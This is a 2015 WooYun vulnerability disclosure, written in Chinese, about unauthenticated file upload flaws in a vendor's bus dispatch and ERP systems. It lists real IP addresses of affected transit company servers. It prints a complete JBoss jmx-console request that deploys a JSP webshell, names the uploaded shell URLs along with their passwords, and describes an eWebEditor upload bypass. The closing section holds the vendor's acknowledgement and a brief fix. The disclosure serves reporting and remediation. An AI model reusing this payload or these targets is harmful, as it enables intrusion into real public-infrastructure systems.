当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0113239

漏洞标题：某公共交通系统通用型漏洞打包

相关厂商：郑州天迈科技股份有限公司

漏洞作者： 茜茜公主

提交时间：2015-05-13 15:28

修复时间：2015-08-15 19:08

公开时间：2015-08-15 19:08

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-13： 细节已通知厂商并且等待厂商处理中
2015-05-17： 厂商已经确认，细节仅向厂商公开
2015-05-20： 细节向第三方安全合作伙伴开放
2015-07-11： 细节向核心白帽子及相关领域专家公开
2015-07-21： 细节向普通白帽子公开
2015-07-31： 细节向实习白帽子公开
2015-08-15： 细节向公众公开

简要描述：

通用型任意文件上传（2处）无需登录，目录浏览

详细说明：

http://www.tiamaes.com/case/ddxt/

QQ截图20150510095230.jpg


案例比较不好找，

开封市公交
http://117.158.104.47:8000/right/loginPwd.jsp
http://117.158.104.47:8000/gps/loginPwd.jsp


郑州公交
http://218.29.211.2:8000/right/loginPwd.jsp
http://218.29.211.2:8000/oa/loginPwd.jsp
http://218.29.211.2:8000/rlzy/loginPwd.jsp


http://221.178.242.61:8000/right/loginPwd.jsp
http://221.178.242.61:8000/oa/loginPwd.jsp
http://221.178.242.61:8000/money/loginPwd.jsp


http://218.27.133.147:8000/gps/loginPwd.jsp
http://218.27.133.147:8000/right/loginPwd.jsp


http://222.179.97.83:8000/right/loginPwd.jsp
http://222.179.97.83:8000/gps/loginPwd.jsp


第一处问题原因是由于该套建站程序使用的中间件jboss未正确配置导致getshell
http://*/jmx-console
http://117.158.104.47:8000/jmx-console

QQ截图20150510115932.jpg


http://218.29.211.2:8000/jmx-console

QQ截图20150510115956.jpg


http://221.178.242.61:8000/jmx-console

QQ截图20150510120021.jpg


http://218.27.133.147:8000/jmx-console

QQ截图20150510120043.jpg


http://222.179.97.83:8000/jmx-console

QQ截图20150510120104.jpg


目测受到影响的系统有GPS公交智能调度系统、公交ERP综合信息管理系统
拿shell的过程比较简单，直接用

/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=wooyun.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True


以开封为例，

http://117.158.104.47:8000/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=wooyun.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True


执行前

QQ截图20150510120534.jpg


执行后

QQ截图20150510120635.jpg


小马地址：http://117.158.104.47:8000/wooyun/shell.jsp
遗憾的是传上去的shell不能正常访问，之后又报空间不足的错误

QQ截图20150510143928.jpg


换一个站点http://218.27.133.147:8000尝试
用重复的步骤上传war包，该站访问没有出现问题
小马http://218.27.133.147:8000/wooyun/shell.jsp
一句话http://218.27.133.147:8000/wooyun/wooyun.jsp(woo1yun)

QQ截图20150510144159.jpg


QQ截图20150510144338.jpg


再试一个http://218.29.211.2:8000，
执行前

QQ截图20150510144535.jpg


执行后

QQ截图20150510144621.jpg


小马能正常访问：http://218.29.211.2:8000/wooyun/she11.jsp

QQ截图20150510144657.jpg


以上是第一处上传点

漏洞证明：

第二处上传点问题出在该公司所使用的编辑器ewebeditor
ewebeditor路径是

http://*/gps/sys/WebEditor/eWebEditor.jsp
http://*/oa/sys/WebEditor/eWebEditor.jsp
http://*/right/sys/WebEditor/eWebEditor.jsp
http://*/rlzy/sys/WebEditor/eWebEditor.jsp


QQ截图20150510144956.jpg


略微的对该套系统进行扫描，就会发现系统可目录浏览
比如
http://218.29.211.2:8000/oa/sys
http://117.158.104.47:8000/gps/sys
http://221.178.242.61:8000/money/sys
http://218.27.133.147:8000/right/sys
利用编辑器上传jpg后再抓包改包即可

QQ截图20150510145529.jpg


一句话地址：http://218.27.133.147:8000/gps/sys/WebEditor/uploadfile/1431241097697.jsp
密码：woo0yun

QQ截图20150510150004.jpg


可直接访问

QQ截图20150510150128.jpg


剩下你懂的
其它几个网站传个jsp证明一下

QQ截图20150510150332.jpg


http://218.29.211.2:8000/oa/sys/WebEditor/uploadfile/1431241434780.jsp

QQ截图20150510150440.jpg

修复方案：

正确配置jboss
编辑器上传点控制权限，过滤后缀

版权声明：转载请注明来源 茜茜公主@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-05-17 19:07

厂商回复：

已经转由CNCERT下发给相应分中心，由其后续协调网站管理单位处置

最新状态：

暂无